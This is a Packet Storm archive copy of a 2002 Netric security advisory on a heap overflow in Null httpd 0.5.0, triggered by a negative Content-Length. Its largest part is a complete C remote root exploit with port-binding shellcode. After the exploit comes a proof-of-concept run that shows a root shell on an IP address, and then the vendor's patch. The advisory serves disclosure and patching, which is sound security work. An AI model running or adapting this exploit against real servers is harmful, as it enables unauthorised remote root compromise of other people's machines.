Twenty Year Anniversary

netric-adv009.txt

netric-adv009.txt
Posted Sep 23, 2002
Authored by netric | Site netric.org

Null httpd 0.5.0, a small multi-threading HTTP server, contains a remote exploitable heap overflow. Exploit code for Null httpd servers running on Red Hat Linux 7.3 is included in the advisory and can be used to spawn a remote root shell. In Null httpd version 0.5.1 this vulnerability has been fixed.

tags | remote, web, overflow, shell, root
systems | linux, redhat
MD5 | 523e86586ddbbd5f7955f1a05242aac2

netric-adv009.txt

Change Mirror Download
Netric Security Team - http://www.netric.[org|be]
By Netric

Nullhttpd 0.5.0
type: heap overflow

Priority: 1

[1] Description
[2] Vulnerable
[3] Exploit
[4] Proof of concept
[5] Vendor response
[6] Patches

[1] Description

Null httpd is a very small, simple and multithreaded web server for Linux and Windows,
Which contains a remote exploitable heap overflow, when negative Content-Length values
are transmitted. The exploitable code looks like:



typedef struct {
// incoming data
...
// outgoing data
...
/* this int is signed, and can thus contain negative values */
int out_ContentLength;
...
} CONNDATA;

typedef struct {
...
char *PostData;
...
} CONNECTION;


int read_header(int sid)
{
char line[2048];
...
sgets(line, sizeof(line)-1, conn[sid].socket);
...
if (strncasecmp(line, "Content-Length: ", 16)==0)
conn[sid].dat->in_ContentLength=atoi((char *)&line+16);
...
if (strcmp(conn[sid].dat->in_RequestMethod, "POST")==0) {
if (conn[sid].dat->in_ContentLength<MAX_POSTSIZE) {
ReadPOSTData(sid);
}
...
}
...
}


void ReadPOSTData(int sid) {
char *pPostData;
...
/* here is where the bad boundchecking happens */
conn[sid].PostData=calloc(conn[sid].dat->in_ContentLength+1024, sizeof(char));
...
pPostData=conn[sid].PostData;
...
/* This is where the overflow happens */
recv(conn[sid].socket, pPostData, 1024, 0);
...
}


as you can see, we can change the size of the buffer that will contain POST'ed data,
both with a positive and a negative value, which means that we can change the size of
that buffer to <negative value> + 1024, and 1024 bytes get read anyway (which will
cause an overflow).


[2] Vulnerable

The Nullhttpd site says that Nullhttpd works on the following:

Name Vulnerable Exploitable
* Linux YES YES
* win32 probably (not tested) probably (not tested)

This vulnerability was discovered in Nullhttpd 0.5.0 but previous version are
probably vulnerable too.


[3] Exploit

The following exploit was tested in a lab and might not work without any tweaking.
it was tested on a several RedHat 7.x systems. (x86)

<--> BEGIN OF FILE <-->
#include <stdio.h>
#include <stdlib.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include "getopt.h"

struct {
char *type;
unsigned int retloc;
unsigned int ret;

} targets[] = { /* Thanks tozz ;) */
{ "Null httpd 0.5.0 (Redhat 7.3)", 0x0804f334, 0x0804fbd1 },
{ "Crash (All platforms)", 0xb0efb0ef, 0xb0efb0ef },
};

char shellcode[] = /* shellcode by R00T-dude (ilja@netric.org) */
"\xeb\x0a--netric--"
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\xb1\x06\x51"
"\xb1\x01\x51\xb1\x02\x51\x8d\x0c\x24\xcd\x80\xb3\x02\xb1\x02\x31"
"\xc9\x51\x51\x51\x80\xc1\x77\x66\x51\xb1\x02\x66\x51\x8d\x0c\x24"
"\xb2\x10\x52\x51\x50\x8d\x0c\x24\x89\xc2\x31\xc0\xb0\x66\xcd\x80"
"\xb3\x01\x53\x52\x8d\x0c\x24\x31\xc0\xb0\x66\x80\xc3\x03\xcd\x80"
"\x31\xc0\x50\x50\x52\x8d\x0c\x24\xb3\x05\xb0\x66\xcd\x80\x89\xc3"
"\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\x31\xc0\xb0\x3f\xcd\x80\x41"
"\x31\xc0\xb0\x3f\xcd\x80\x31\xdb\x53\x68\x6e\x2f\x73\x68\x68\x2f"
"\x2f\x62\x69\x89\xe3\x8d\x54\x24\x08\x31\xc9\x51\x53\x8d\x0c\x24"
"\x31\xc0\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80";

int sock;

void shell();
void usage();

void usage(char *prog)
{
fprintf(stderr,"Usage: %s <-h host> <-t type> [-p port]\n", prog);
exit(1);
}

void shell()
{
fd_set fd_read;
char buff[1024], *cmd="/bin/uname -a;/usr/bin/id;\n";
int n;

FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
FD_SET(0, &fd_read);

send(sock, cmd, strlen(cmd), 0);
while(1) {
FD_SET(sock,&fd_read);
FD_SET(0,&fd_read);
if(select(sock+1,&fd_read,NULL,NULL,NULL)<0) break;
if( FD_ISSET(sock, &fd_read) ) {
if((n=recv(sock,buff,sizeof(buff),0))<0){
fprintf(stderr, "EOF\n");
exit(2);
}
if(write(1,buff,n)<0)break;
}

if ( FD_ISSET(0, &fd_read) ) {
if((n=read(0,buff,sizeof(buff)))<0){
fprintf(stderr,"EOF\n");
exit(2);
}
if(send(sock,buff,n,0)<0) break;
}
usleep(10);
}
fprintf(stderr,"Connection lost.\n\n");
exit(0);
}

int
openhost(char *host,int port)
{
struct sockaddr_in addr;
struct hostent *he;

he=gethostbyname(host);

if (he==NULL) return -1;
sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
if (sock==-1) return -1;

memcpy(&addr.sin_addr, he->h_addr, he->h_length);

addr.sin_family=AF_INET;
addr.sin_port=htons(port);

if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1) sock=-1;
return sock;
}

int
exploit(char *host, int port, int type)
{
char sendbuf[500];
char buffer[377];
int i=0;
int sock2;

sock=openhost(host, port);

if (sock==-1) {
fprintf(stderr,"Unable to connect.\n\n");
exit(1);
}

fprintf(stdout, "Attacking (%s) ...\n", host);
memset(buffer, 0xbf, sizeof(buffer) - 1);

for(i=0;i<376;i=i+4)
{
buffer[i] = 0xbf; /* must be a valid pointer */
buffer[i+1] = 0xff;
buffer[i+2] = 0xb0;
buffer[i+3] = 0xef;
}

memcpy(buffer, shellcode, strlen(shellcode));

buffer[359] = 0xff; /* prev_size */
buffer[360] = 0xff;
buffer[361] = 0xff;
buffer[362] = 0xff;

buffer[363] = 0xfc; /* size field */
buffer[364] = 0xff;
buffer[365] = 0xff;
buffer[366] = 0xff;

buffer[368] = (targets[type - 1].retloc & 0x000000ff); /* FD */
buffer[369] = (targets[type - 1].retloc & 0x0000ff00) >> 8;
buffer[370] = (targets[type - 1].retloc & 0x00ff0000) >> 16;
buffer[371] = (targets[type - 1].retloc & 0xff000000) >> 24;

buffer[372] = (targets[type - 1].ret & 0x000000ff); /* BK */
buffer[373] = (targets[type - 1].ret & 0x0000ff00) >> 8;
buffer[374] = (targets[type - 1].ret & 0x00ff0000) >> 16;
buffer[375] = (targets[type - 1].ret & 0xff000000) >> 24;

buffer[376] = 0x0;

snprintf(sendbuf, sizeof(sendbuf) -1, "POST / HTTP/1.0\n"
"Content-Length: -800\n"
"\n\n%s\n",buffer);

write(sock, sendbuf, strlen(sendbuf));

sleep(4);
close(sock);

sock=openhost(host, 30464);
if (sock==-1) {
fprintf(stderr,"Failed.\n\n");
exit(1);
}

fprintf(stdout, "Exploit successful!\n");
fprintf(stdout, "------------------------------------------------------------------\n");
shell(sock);
close(sock);
return 0;
}

int
main (int argc,char *argv[])
{
char host[256];
int i,opt,type=0,port=80;

fprintf(stdout,"Null httpd 0.5.0 remote root exploit by eSDee of Netric\n");
fprintf(stdout,"--------------------------------------------------(www.netric.org)\n");

memset(host, 0x0, sizeof(host));

while((opt=getopt(argc,argv,"h:p:t:")) !=EOF)
{
switch(opt)
{
case 'h':
strncpy(host, optarg, sizeof(host) - 1);
break;
case 'p':
port=atoi(optarg);
if ((port <= 0) || (port > 65535)) {
fprintf(stderr,"Invalid port.\n\n");
return -1;
}
break;
case 't':
type=atoi(optarg);
if (type == 0 || type > sizeof(targets)/12) {
for(i = 0; i < sizeof(targets)/12; i++)
fprintf(stderr, "%d. %s\t (0x%08x - 0x%08x)\n",
i + 1,
targets[i].type,
targets[i].ret,targets[i].retloc);
fprintf(stderr, "\n");
return -1;
}
break;
default:
usage(argv[0]);
break;
}

}

if (strlen(host) == 0) usage(argv[0]);

if (!type) {
fprintf(stderr, "No target given, use -t0 for a list.\n\n");
return -1;
}

if (exploit(host, port, type) < 0) {
fprintf(stderr, "Failed.\n\n");
return -1;
}

return 0;
}
<--> END OF FILE <-->
[4] Proof of concept

[root@pant0ffel]# ./bakkum -h 213.201.176.198 -t1
Null httpd 0.5.0 remote root exploit by eSDee of Netric
--------------------------------------------------(www.netric.org)
Attacking (213.201.176.198) ...
Exploit successful!
------------------------------------------------------------------
Linux Dinteldyk 2.4.7-10 #1 Thu Sep 6 17:21:28 EDT 2001 i586 unknown
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[root@pant0ffel]#


[5] Vendor response

We got response from the vendor within week, and he told us that patches were made and
that he would update the page where it can be downloaded after he had ran a few tests.

[6] Patches

you can download the new version of nullhttpd from :
http://prdownloads.sourceforge.net/nullhttpd/nullhttpd-0.5.1.tar.gz
the nullogic vendor also send us patch which is included :

diff -Nru nullhttpd-0.5.0/src/format.c nullhttpd-0.5.1-pre/src/format.c
--- nullhttpd-0.5.0/src/format.c Sun Feb 3 18:18:22 2002
+++ nullhttpd-0.5.1-pre/src/format.c Sun Sep 15 21:55:09 2002
@@ -153,3 +153,29 @@
}
return 0;
}
+
+int printht(const char *format, ...)
+{
+ unsigned char buffer[1024];
+ int offset=0;
+ va_list ap;
+
+ va_start(ap, format);
+ vsnprintf(buffer, sizeof(buffer)-1, format, ap);
+ va_end(ap);
+ while (buffer[offset]) {
+ if (buffer[offset]=='<') {
+ prints("<");
+ } else if (buffer[offset]=='>') {
+ prints(">");
+ } else if (buffer[offset]=='&') {
+ prints("&");
+ } else if (buffer[offset]=='"') {
+ prints(""");
+ } else {
+ prints("%c", buffer[offset]);
+ }
+ offset++;
+ }
+ return 0;
+}
diff -Nru nullhttpd-0.5.0/src/http.c nullhttpd-0.5.1-pre/src/http.c
--- nullhttpd-0.5.0/src/http.c Sun Feb 3 18:18:22 2002
+++ nullhttpd-0.5.1-pre/src/http.c Sun Sep 15 21:55:09 2002
@@ -149,8 +149,15 @@
while ((line[strlen(line)-1]=='\n')||(line[strlen(line)-1]=='\r')) line[strlen(line)-1]='\0';
if (strncasecmp(line, "Connection: ", 12)==0)
strncpy(conn[sid].dat->in_Connection, (char *)&line+12, sizeof(conn[sid].dat->in_Connection)-1);
- if (strncasecmp(line, "Content-Length: ", 16)==0)
+ if (strncasecmp(line, "Content-Length: ", 16)==0) {
conn[sid].dat->in_ContentLength=atoi((char *)&line+16);
+ if (conn[sid].dat->in_ContentLength<0) {
+ // Negative Content-Length? If so, the client is either broken or malicious.
+ // Thanks to <ilja@idefense.be> for spotting this one.
+ logerror("ERROR: negative Content-Length of %d provided by client.", conn[sid].dat->in_ContentLength);
+ conn[sid].dat->in_ContentLength=0;
+ }
+ }
if (strncasecmp(line, "Cookie: ", 8)==0)
strncpy(conn[sid].dat->in_Cookie, (char *)&line+8, sizeof(conn[sid].dat->in_Cookie)-1);
if (strncasecmp(line, "Host: ", 6)==0)
diff -Nru nullhttpd-0.5.0/src/main.c nullhttpd-0.5.1-pre/src/main.c
--- nullhttpd-0.5.0/src/main.c Sun Feb 3 18:18:22 2002
+++ nullhttpd-0.5.1-pre/src/main.c Sun Sep 15 21:55:09 2002
@@ -36,12 +36,17 @@
logaccess(2, "%s - HTTP Request: %s %s", conn[sid].dat->in_RemoteAddr, conn[sid].dat->in_RequestMethod, conn[sid].dat->in_RequestURI);
snprintf(file, sizeof(file)-1, "%s%s", config.server_htdocs_dir, conn[sid].dat->in_RequestURI);
snprintf(conn[sid].dat->out_ContentType, sizeof(conn[sid].dat->out_ContentType)-1, "text/html");
- if (strncmp(conn[sid].dat->in_RequestURI, "/cgi-bin/", 9)==0) cgi_main();
- else if (sendfile(sid, file)==0) return;
- else if (dirlist(sid)==0) return;
- else {
+ if (strncmp(conn[sid].dat->in_RequestURI, "/cgi-bin/", 9)==0) {
+ cgi_main();
+ } else if (sendfile(sid, file)==0) {
+ return;
+ } else if (dirlist(sid)==0) {
+ return;
+ } else {
send_header(sid, 0, 200, "OK", "1", "text/html", -1, -1);
- prints("<BR><CENTER>The file or function '%s' could not be found.</CENTER>\n", conn[sid].dat->in_RequestURI);
+ prints("<BR><CENTER>The file or function '");
+ printht("%s", conn[sid].dat->in_RequestURI);
+ prints("' could not be found.</CENTER>\n");
logerror("%s - Incorrect function call '%s'", conn[sid].dat->in_RemoteAddr, conn[sid].dat->in_RequestURI);
}
return;
diff -Nru nullhttpd-0.5.0/src/main.h nullhttpd-0.5.1-pre/src/main.h
--- nullhttpd-0.5.0/src/main.h Sun Feb 3 18:18:22 2002
+++ nullhttpd-0.5.1-pre/src/main.h Sun Sep 15 21:55:09 2002
@@ -251,6 +251,7 @@
char *strcasestr(char *src, char *query);
char *strcatf(char *dest, const char *format, ...);
int printhex(const char *format, ...);
+int printht(const char *format, ...);
/* http.c functions */
void printerror(int sid, int status, char* title, char* text);
char *get_mime_type(char *name);
diff -Nru nullhttpd-0.5.0/src/server.c nullhttpd-0.5.1-pre/src/server.c
--- nullhttpd-0.5.0/src/server.c Sun Feb 3 18:18:22 2002
+++ nullhttpd-0.5.1-pre/src/server.c Sun Sep 15 21:55:09 2002
@@ -377,7 +377,14 @@
if (strcasecmp("ANY", config.server_hostname)==0) {
sin.sin_addr.s_addr=htonl(INADDR_ANY);
} else {
- hp=gethostbyname(config.server_hostname);
+ if ((hp=gethostbyname(config.server_hostname))==NULL) {
+#ifdef WIN32
+ MessageBox(0, "DNS Lookup failure.", APPTITLE, MB_ICONERROR);
+#else
+ printf("DNS Lookup failure.\r\n");
+#endif
+ exit(0);
+ }
memmove((char *)&sin.sin_addr, hp->h_addr, hp->h_length);
}
sin.sin_port=htons((unsigned short)config.server_port);

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

May 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    15 Files
  • 2
    May 2nd
    17 Files
  • 3
    May 3rd
    30 Files
  • 4
    May 4th
    29 Files
  • 5
    May 5th
    2 Files
  • 6
    May 6th
    3 Files
  • 7
    May 7th
    13 Files
  • 8
    May 8th
    27 Files
  • 9
    May 9th
    17 Files
  • 10
    May 10th
    15 Files
  • 11
    May 11th
    8 Files
  • 12
    May 12th
    2 Files
  • 13
    May 13th
    8 Files
  • 14
    May 14th
    7 Files
  • 15
    May 15th
    43 Files
  • 16
    May 16th
    19 Files
  • 17
    May 17th
    16 Files
  • 18
    May 18th
    15 Files
  • 19
    May 19th
    3 Files
  • 20
    May 20th
    7 Files
  • 21
    May 21st
    15 Files
  • 22
    May 22nd
    40 Files
  • 23
    May 23rd
    64 Files
  • 24
    May 24th
    55 Files
  • 25
    May 25th
    16 Files
  • 26
    May 26th
    17 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close